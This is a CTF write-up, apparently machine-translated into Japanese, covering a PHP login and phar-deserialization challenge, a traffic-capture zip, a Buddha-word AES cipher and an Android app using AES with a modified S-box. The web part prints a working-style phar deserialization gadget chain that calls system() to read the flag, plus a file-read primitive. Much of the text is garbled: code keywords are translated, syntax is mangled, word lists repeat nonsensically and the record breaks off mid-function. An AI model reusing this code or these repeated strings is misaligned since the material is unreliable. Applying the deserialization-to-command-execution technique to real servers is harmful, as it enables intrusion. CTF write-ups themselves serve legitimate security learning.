朝のCTFパート
web
simplelogin
Yakitはパスワードを破裂させました。A123456であることを忘れないでください。
pppp
index.phpには任意のファイルがあります:
?php
//upload.php
error_reporting(0);
highlight_file(__ file__);
クラスA {
public $ a;
パブリック関数__Destruct()
{
$ s=$ this- $ a;
$ s();
}
}
クラスB {
public $ cmd;
function __invoke(){
$ this-start()を返します。
}
function start(){
エコーシステム($ this-cmd);
}
}
if(isset($ _ get ['file'])){
if(strstr($ _ get ['file']、 'flag')){
die( 'get out!');
}
echo file_get_contents($ _ get ['file']);
}
?
upload.php:を読んでください
! - ?php
error_reporting(0);
if(isset($ _ files ['file'])){
mkdir( 'upload');
$ uid=uniqid();
$ ext=Explode( '。'、$ _ files ['file'] ['name']);
$ ext=end($ ext);
move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ uuid。'。png ');
echo'uploadsuccess!filepath:upload/'.$ uuid。 '。png';
} -
アップロードされたファイルは.pngに変更されます
PHARファイルをアップロードし、ホームページにfile_get_contentsを使用してDeserialization実行コマンドをトリガーしてみてください。
//phar.php
?php //phar.php
classa {
public $ a;
publicFunction__Destruct()
{
$ s=$ this-a;
$ s();
}
}
classb {
public $ cmd;
function__construct(){
$ this- $ cmd='catflag';
}
function__invoke(){
$ this-start()を返します。
}
functionstart(){
System($ this-cmd);
}
}
$ b=newb();
$ b-cmd='cat/flag';
$ a=newa();
$ a-a=$ b;
@unlink( 'phar.phar');
$ phar=newpar( 'phar.phar'); //接尾辞はpharでなければなりません
$ phar-startbuffering();
$ phar-setstub( '?php__halt_compiler();'); //Set Stub
$ phar-setmetadata($ a); //カスタムメタデータをマニフェストに保存します
$ phar-addfromstring( 'a.txt'、 'abb'); //ファイルを追加して圧縮します
$ phar-stopbuffering(); //署名は自動的に計算されます
?
アップロードとアクセス:
Misc
ftp
トラフィック抽出zip、そしてパスワードは同じパスワードパスワード1234567890です。
crypto
baby_words with Buddha
AES、しかしXORの後、結果は文字に変換されるので、それを元に戻してAESを解くことができます
rushiwowen=[
'无', 'mu', 'monk', 'room', 'art', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'
'未'、 'li'、 'blin'、 'due'、 'mul'、 '妊娠'、 'san'、 'black'、 'naked'、 'bean'、 'special'、 'div'、 'reach'、 'regent'、 'length'、 'lengs'、 'length'、 'length'、 'length'、
「書かれた」、「番号」、「責任」、「尊敬」、「ro」、「rot」、「尊敬」、「尊敬」、「尊敬」、「尊敬」、「3」、「bing」、「bing」、 'no'、 '責任者、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」」 「責任」、「責任」、「責任」、
「洞察」、「思考」、「夢」、「削除」、「恐ろしい」、「抑制」、「抑制」、「抑制」、「抑制」、「抑制」、「意志」、「知恵」、「古い」、「」、「」、
'Roar'、 'foot'、 'you'、 'wang'、 'you'、 'won'、 'mu'、 'mu'、 'light'、 'protect'、 'jin'、 'harmony'、 'going'、 'treasure'、 'win'、 'tong'、 'won'、 'win'、 'Tong'、
「薬」、「教師」、「小さな」、「生きている」、「純粋」、「取引」、「マウンテン」、「グッド」、「パス」、「go」、「7」、「 'not'、 'come'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 '
'cause'、 'huldine'、 'five'、 '100'、 'ten000'、 'flowers'、 'buillions'、 'decision'、 'six'、 'fang'、 'name'、 'name'、 'tong'、 'yue'、 'yun'、 'dian'、 'miracle'、
'Zun'、 'tree'、 'root'、 'west'、 'soap'、 'flame'、 'north'、 'qing'、 'number'、 'element'、 '改善'、 'head'、 'silence'、 'momation'、 'element'、 'fore'、 'felement'、 'ement'、 'form'、 'fement'、 'felem'、 '' '' '' '、' feneme '、' '' ''、 'fenemen
'do'、 'shi'、 'ga' '' '、' ni '、' le '、' a '、' du '、' zhong '、' yang '、' Zhong '、' Zhong '、' Zhong '、' Zhong、 'Zhong、' Zhong '、' Zhong '、' Zhong ' 「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」 「Zhong」、「Zhong」
「アクション」、「空き」、「空き」、「思いやり」、「心配」、「誰か」、「満足」、「安定」、「休息」、「day」、「夜」、「栽培」、
'hold'、 'heart'、 'seeking'、 'ricitation'、 'ricitation'、 'this'、 'sutra'、 'エネルギー、「死」、「排除」、「排除」、「有毒」、「害」、「ハイ」、「ハイ」、「オープン」、「テキスト」、「テキスト」、
'super'、 'lift'、 'cool'、 'if'、 '思考'、 'that'、 '' '、' '' '、' emperor '、' vi '、' true '、' ling '、' qian '、' shu '、' ha '、'尊敬'、
「贈り物」、「風水」、「先祖」、「ファースト」、「親の敬iety」、「ダブル」、「私のマスター」、「滞在」、「私のマスター」、「愛」、「兄弟」、「兄弟」、「最初」、「友人」、「友人」、「友人」、「友人」、
「音楽」、「禅」、「一族」、「私の」、「私の」、「私の」、「教育」、「太陽」、「タイム」、「タイヤ」、「バルス」、「陰」、「Yin」、「困難」、「経済」、
'urgent', 'soft', 'soft', 'shoulder', 'creation', 'soft', 'soft', 'shu', 'shu', 'shu', 'shu', 'creation', 'repet', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 '
「キル」、「リリース」、「ブリッジ」、「ロード」、「コーブ」、「小さな」、「ドロー」、「ドロー」、「ドロー」、「ドロー」、「スリープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「ドン」、「投資」、「投資」、
enc='愛を暗唱する人は、メンザバオを守り、心の嘘の嘘の嘘を嘘をついて、心の嘘を殺し、心配し、心配し、嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘を暗唱しています嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘シュー嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘は
dec=b ''
enc3360のiの場合
Dec +=(rushiwowen.index(i) ^ 64).to_bytes(1、 'Little')
key=b'dasctf@key@^_^@encode !仏! '
iv=b'iv | dasctf | ovo | iv '
crypto.cipher Import AESから
crypto.util.paddingインポートパッドから、unpad
cryportor=aes.new(key、aes.mode_cbc、iv)
#padded_data=pad(data.encode( 'utf-8')、aes.block_size)
encrypted_data=cryptor.decrypt(dec)
print(encrypted_data)
re
normalandroid
JADXを開くと、1つの関数のみを呼び出して、IDAを見て、過去にそれを見てください。
キーのようなものを見て、キーを変換できます。
表面:
表面
次に、AES暗号化である暗号化ロジックを入力し、Sボックスは過去に変更されました。
したがって、AESによって実装されたコードを見つけてSボックスを変更し、変換されたキーを使用して復号化します。ネットワークの競争が遮断されたため、当時はスクリプトが保存されていなかったので、私はそれを作りませんでした:
fromcrypto.util.numberimportlong_to_bytes、bytes_to_long
#https://github.com/bozhu/aes-python/blob/master/aes.py
sbox=(
0xbe、0xb4,0x9f、0x70,0xdb、0xad、0x31,0x30,0x6c、0x87、0x87
0x74,0x27,0xc9,0x4c、0x67,0x62,0x0a、0x36,0x08,0xc8、
0x96,0x32,0x00,0xf1,0x38,0x65,0xec、0xed、0x44,0x25、
0xaa、0x33,0x86,0xef、0x0d、0x19,0x7d、0xd5,0x45,0xfb、
0x8d、0x61,0xfe、0x50,0x47,0x7e、0x7c、0xf9,0x01,0xde、
0xff、0xe1,0xac、0x5d、0xb5,0x8e、0x48,0xbf、0x90,0x9d、
0x79,0xcb、0xa6,0xa9,0xfc、0x34,0xcf、0x63,0x5a、0x99、0x99、
0x98,0xb8,0x92,0x2d、0x02,0x89,0x2c、0x3b、0x15,0x72、0x15,0x72
0x5e、0x60,0x29,0x6f、0x0b、0x24,0x6d、0x1c、0x5b、0xe0、
0x37,0xa4,0xcc、0x12,0x93,0xa7,0x09,0xc6,0xb6,0x8f、
0x04,0x20,0xe8,0x46,0xb1,0xae、0x3a、0x68,0x81,0xce、
0x2b、0x0c、0xb3,0x3e、0xc0,0x0e、0x4d、0xd8,0xd2,0xa2、
0x9e、0x56,0x28,0xb0,0x35,0x1b、0x5f、0xf5,0x05,0xbc、
0x3c、0x4f、0x8c、0xe6,0xf6,0x75,0xf4,0xf8,0xdd、0x11、
0xc1,0xb9,0x4e、0x97,0xd6,0xf2,0xe4,0xd1,0x82,0xd3、
0x03,0x8b、0x4b、0xca、0x64,0xeb、0xab、0x71,0xa1,0xba、
0xa8,0x6a、0x1e、0x1a、0xa5,0x49,0x6e、0x53,0x66,0x39、
0x51,0xe9,0x26,0xc4,0xda、0x55,0x3f、0xea、0x85,0x8a、0x85,0x8a、
0xd9,0x13,0x69,0x1f、0xe2,0x7f、0x2f、0xc5,0x88,0x57、
0x73,0xa3,0xe3,0x0f、0xbb、0x18,0xe5,0x42,0x22,0x52、
0x43,0x80,0x2a、0x6b、0x17,0xd7,0x23,0x06,0x58,0x1d、
0x7a、0x84,0xe7,0xee、0xd0,0x41,0xd4,0xbd、0xa0,0xc3、
0xc2,0xfd、0x21,0x54,0xdf、0x7b、0xb7,0xf0,0xb2,0x77、
0x3d、0x07、0x78、0x16、0x9c、0x59、0xaf、0x2e、0x83、0xfa、
0x9b、0x95,0xf7,0x40,0x94,0xf3,0xcd、0xc7,0x91,0x10、
0xdc、0x4a、0x14、0x9a、0x5c、0x76
))
invsbox=[sbox.index(i)foriinrange(256)]
#Learntfromhttp://cs.ucsb.edu/〜koc/cs178/projects/jt/aes.c
Xtime=lambdaa:((((a1)^0x1b)0xff)if(a0x80)else(a1)
rcon=(
0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40、
0x80,0x1b、0x36,0x6c、0xd8,0xab、0x4d、0x9a、0x9a、
0x2f、0x5e、0xbc、0x63、0xc6、0x97、0x35、0x6a、
0xd4、0xb3、0x7d、0xfa、0xef、0xc5、0x91、0x39、0x39、
))
deftext2matrix(テキスト):
Matrix=[]
Foriinrange(16):
byte=(text(8*(15-i)))0xff
ifi%4==0:
matrix.append([byte])
else:
マトリックス[i //4] .append(byte)
ReturnMatrix
defmatrix2Text(Matrix):
テキスト=0
Foriinrange(4):
Forjinrange(4):
テキスト|=(matrix [i] [j](120-8*(4*i+j)))
returnText
classaes:
def__init __(self、master_key):
self.change_key(master_key)
defchange_key(self、master_key):
self.round_keys=text2matrix(master_key)
#self.round_keys
Foriinrange(4,4*11):
self.round_keys.append([])
ifi%4==0:
byte=self.round_keys [i-4] [0] \
^sbox [self.round_keys [i-1] [1]] \
^rcon [i //4]
self.round_keys [i] .append(byte)
Forjinrange(1,4):
byte=self.round_keys [i-4] [j] \
^sbox [self.round_keys [i-1] [(j+1)%4]]
self.round_keys [i] .append(byte)
else:
Forjinrange(4):
byte=self.round_keys [i-4] [j] \
^self.round_keys [i-1] [j]
self.round_keys [i] .append(byte)
#self.round_keys
defencrypt(self、plantext):
self.plain_state=text2matrix(plantext)
self .__ add_round_key(self.plain_state、self.round_keys [:4])
Foriinrange(1,10):
self .__ round_encrypt(self.plain_state、self.round_keys [4*i:4*(i+1)))
self .__ sub_bytes(self.plain_state)
self .__ shift_rows(self.plain_state)
self .__ add_round_key(self.plain_state、self.round_keys [40:])
returnMatrix2Text(self.plain_state)
defdecrypt(self、ciphertext):
self.cipher_state=text2matrix(ciphertext)
self .__ add_round_key(self.cipher_state、self.round_keys [40:])
self .__ inv_shift_rows(self.cipher_state)
self .__ inv_sub_bytes(self.cipher_state)
Foriinrange(9,0、-1):
self .__ round_decrypt(self.cipher_state、self.round_keys [4*i:4*(i+1)))
self .__ add_round_key(self.cipher_state、self.round_keys [:4])
returnMatrix2Text(self.cipher_state)
def__add_round_key(self、s、k):
Foriinrange(4):
Forjinrange(4):
s [i] [j]^=k [i] [j]
def__round_encrypt(self、state_matrix、key_matrix):
self .__ sub_bytes(state_matrix)
self .__ shift_rows(state_matrix)
self .__ mix_columns(state_matrix)
self .__ add_round_key(state_matrix、key_matrix)
def__round_decrypt(